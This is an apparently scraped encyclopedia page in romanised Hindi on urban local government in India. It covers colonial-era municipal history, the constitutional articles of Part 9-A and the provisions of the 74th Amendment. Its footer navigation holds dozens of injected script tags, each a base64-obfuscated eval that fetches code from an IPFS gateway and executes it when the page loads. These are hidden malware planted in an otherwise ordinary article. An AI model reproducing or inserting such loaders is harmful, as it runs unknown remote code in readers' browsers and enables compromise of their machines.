नगरीय शासन

भारत डिस्कवरी प्रस्तुति
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bharat mean nagariy shasan vyavastha prachin kal se hi prachalan mean rahi hai, lekin ise qanooni roop sarvapratham 1687 mean diya gaya, jab british sarakar dvara madras shahar ke lie nagar nigam sanstha ki sthapani ki gayi. bad mean 1793 ke chartar adhiniyam ke adhin madras, kalakatta tatha bambee ke tinoan mahanagaroan mean nagar nigamoan ki sthapana ki gayi. bangal mean nagariy shasan pranali ko prarambh karane ke lie 1842 mean bangal adhiniyam parit kiya gaya. 1882 mean tatkalin vayasaray l aaurd ripan ne nagariy shasan vyavastha mean sudhar karane ka prayas kiya, lekin vah rajanitik karanoan se apane is kary mean asaphal raha. nagariy prashasan ke vikendrikaran par riport dene ke lie 1909 mean shahi vikendrikaran ayog ka gathan kiya gaya, jisaki riport ko adhar banakar bharat sarakar adhiniyam, 1919 mean nagariy prashasan ke sambandh mean spasht pravadhan kiya gaya, jisamean kiye gaye pravadhanoan ke anusar nagariy shasan vyavastha chhinn-bhinn ho gayi.

nagariy shasan sambandhi sanvaidhanik upabandh (bhag 9-k)
anuchchhed vivaran
anuchchhed 243 t paribhasha
anuchchhed 243 th nagar palikaoan ka gathan
anuchchhed 243 d nagar palikaoan ki sanrachana
anuchchhed 243 dh vard samitiyoan adi ka gathan aur sanrachana
anuchchhed 243 n sthanoan ka arakshan
anuchchhed 243 p nagar palikaoan ki avadhi adi
anuchchhed 243 ph sadasyata ke lie nirarhataean
anuchchhed 243 b nagarapalikaoan adi ki shaktiyaan, pradhikar aur uttadayitv
anuchchhed 243 bh nagarapalikaoan dvara kar adhiropit karane ki shakti aur unaki nidhiyaan
anuchchhed 243 m vitt ayog
anuchchhed 243 y nagarapalikaoan ke lekhaoan ki sanpariksha
anuchchhed 243 y k nagarapalikaoan ke lie nirvachan
anuchchhed 243 y kh sangh rajy kshetroan ko lagoo hona
anuchchhed 243 y g is bhag ka katipay kshetroan ko lagoo n hona
anuchchhed 243 y gh zila yojana ke lie samiti
anuchchhed 243 y n mahanagar yojana ke lie samiti
anuchchhed 243 y ch vidyaman vidhiyoan par nagar palikaoan ka bana rahana
anuchchhed 243 y chh nirvachan sambandhi mamaloan mean nyayalayoan ke hastakshep ka varnan
nagariy shasan vyavastha ke sambandh mean sanvaidhanik pravadhan

nagariy shasan vyavastha ke sambandh mean mool sanvidhan mean koee pravadhan nahian kiya gaya tha, lekin ise satavian anusoochi ki rajy soochi mean shamil karake yah spasht kar diya gaya tha ki is sambandh mean qanoon keval rajyoan mean nagariy shasan vyavastha ke sambandh mean qanoon banaya gaya tha. in qanoonoan ke anusar nagariy shasan vyavastha ke sanchalan ke lie nimnalikhit nikayoan ko gathit karane ke sambandh mean pravadhan kiya gaya tha–

  1. nagar nigam
  2. nagar palika
  3. nagar kshetr samitiyaan
  4. adhisoochit kshetr samiti tatha
  5. chhavani parishadh.
74vaan sanvidhan sanshodhan adhiniyam dvara nagariy shasan ke sambandh mean pravadhan

22 disambar, 1992 ko lokasabha dvara tatha 23 disambar, 1992 ko rajyasabha dvara parit aur 20 aprail, 1993 ko rashtrapati dvara svikrit evan 1 joon, 1993 se pravartit 74vean sanvidhan sanshodhan dvara sthaniy nagariy shasan ke sambandh mean sanvidhan mean bhag 9-k naye anuchchhedoan (243 t se 243 y chh tak) evan 12vian anusoochi jo dakar nimnalikhit pravadhan kiye gaye haian–

  1. pratyek rajy mean nagar panchayat, nagar palika parishadh tatha nagar nigam ka gathan kiya jaega. nagar panchayat ka gathan us kshetr ke lie hoga, jo gramin kshetr se nagariy kshetr mean parivartit ho raha hai. nagar palika parishadh ke sambandh mean chhote nagariy kshetroan ke lie kiya jaega, jabaki b de nagaroan ke lie nagar nigam ka gathan hoga.
  2. tin lakh ya adhik janasankhya vali nagar palika ke kshetr mean ek ya adhik vard samitiyoan ka gathan hoga.
  3. pratyek prakar ke nagar nikayoan ke sthanoan ke lie anusoochit jatiyoan tatha anusoochit janajatiyoan ke sadasyoan ke lie unake janasankhya ke anupat mean sthanoan ko arakshit kiya jaega tatha mahilaoan ke lie kul sthanoan ka 30% arakshit hoga.
  4. nagariy sansthaoan ki avadhi paanch varsh ki hogi, lekin in sansthaoan ka 5 varsh ke pahale bhi vighatan kiya ja sakata hai aur vighatan ki sthiti mean 6 mas ke andar chunav karana avashyak hoga.
  5. nagariy sansthaoan ki shaktiyaan aur uttaradayitv kya hoga, isaka nirdharan rajy vidhan mandal qanoon banakar kar sakati hai. rajy vidhan mandal qanoon banakar nagariy sansthaoan ko nimnalikhit ke sambandh mean uttaradayitv aur shaktiyaan pradan kar sakati haiah– (a) nagar mean nivas karane vale vyaktiyoan ke samajik nyay tatha arthik vikas ke lie yojana taiyar karane ke lie. (b) aise karyoan ko karane tatha aisi yojanaoan ko kriyanavit karane ke lie, jo unhean sauanpa jae. isake atirikt nimnalikhit vishayoan, jo sanvidhan ki barahavian anusoochi mean shamil kiye gaye haian, ke sambandh mean rajy vidhanamandal qanoon banakar nagariy sansthanoan ko adhikar evan dayitv sauanp sakate haian–
    1. nagariy yojana (isamean shahari yojana bhi sammilit hai).
    2. bhoomi upayog ka viniyam aur bhavanoan ka nirman.
    3. arthik aur samajik vikas ki yojana.
    4. s dake aur pul.
    5. ghareloo, audyogik aur vanijyik prayojanoan ke nimitt jal ki apoorti.
    6. lok svasthy, svachchhata, safaee tatha koo da-karakat ka prabandh.
    7. agnishaman sevaean.
    8. nagariy vaniki, paryavaran ka sanrakshan aur paristhitik pahaluoan ki abhivriddhi.
    9. samaj ke kamazor vargoan (jisake antargat vikalaang aur manasik roop se mand vyakti sammilit haian) ke hitoan ka sanrakshan.
    10. gandi bastiyoan mean sudhar.
    11. nagariy nirdhanata mean kami.
    12. nagariy sukh-suvidhaoan, jaise park, udyan, khel ka maidan ityadi ki vyavastha.
    13. saanskritik, shaikshanik aur saundaryaparak pahaluoan ki abhivriddhi.
    14. qabristan, shav ga dana, shmashan aur shavadah tatha vidyut shavadah
    15. pashu-talab tatha janavaroan ke prati kroorata ko rokana.
    16. janm-maran saankhyiki (janm-maran panjikaran sahit).
    17. lok sukh suvidhayean (path-prakash, parkiang sthal, bas stap, lok suvidha sahit).
    18. vadhashalaoan tatha charm shodhanashalaoan ka viniyaman.
  6. rajy vidhanamandal qanoon banakar un vishayoan ko vihit kar sakati hai, jin par nagariy sansthaean kar laga sakati haian.
  7. nagariy sansthaoan ki vittiy sthiti ka punarvilokan karane ke lie vitt ayog ka gathan kiya jaega, jo karoan, shulkoan, pathakaroan, fisoan ki shuddh ay aur sansthaoan tatha rajy ke bich vitaran ke lie rajyapal se sifarish karega.

nirvachan

nagar nigamoan, nagarapalikaoan aur any sthaniy nikayoan ke nirvachan ke sanchalan ke lie shaktiyaan 74vaan sanvidhan sanshodhan adhiniyam, 1992 ke tahat pratyek rajy v sangh rajy kshetr mean gathit rajy nirvachan ayog mean nihit haian. yah ayog bharat nirvachan ayog se svatantr hai.


panne ki pragati avastha
adhar
prarambhik
madhyamik
poornata
shodh

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tika tippani aur sandarbh

sanbandhit lekh

dekhean • varta • badalean
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panchayati raj

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varnamala kramanusar lekh khoj

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  <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> n   <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> t   <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> th   <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> d   <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> dh   <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> n   <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> p   <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> ph   <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> b   <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> bh   <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> m   <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> y   <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> r   <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> l   <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> v   <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> sh   <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> sh   <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> s   <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> h   <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> ksh   <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> tr   <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> jn   <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> rri   <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> rri   <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> aau   <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> shr   <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>aah

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>


<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script><script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

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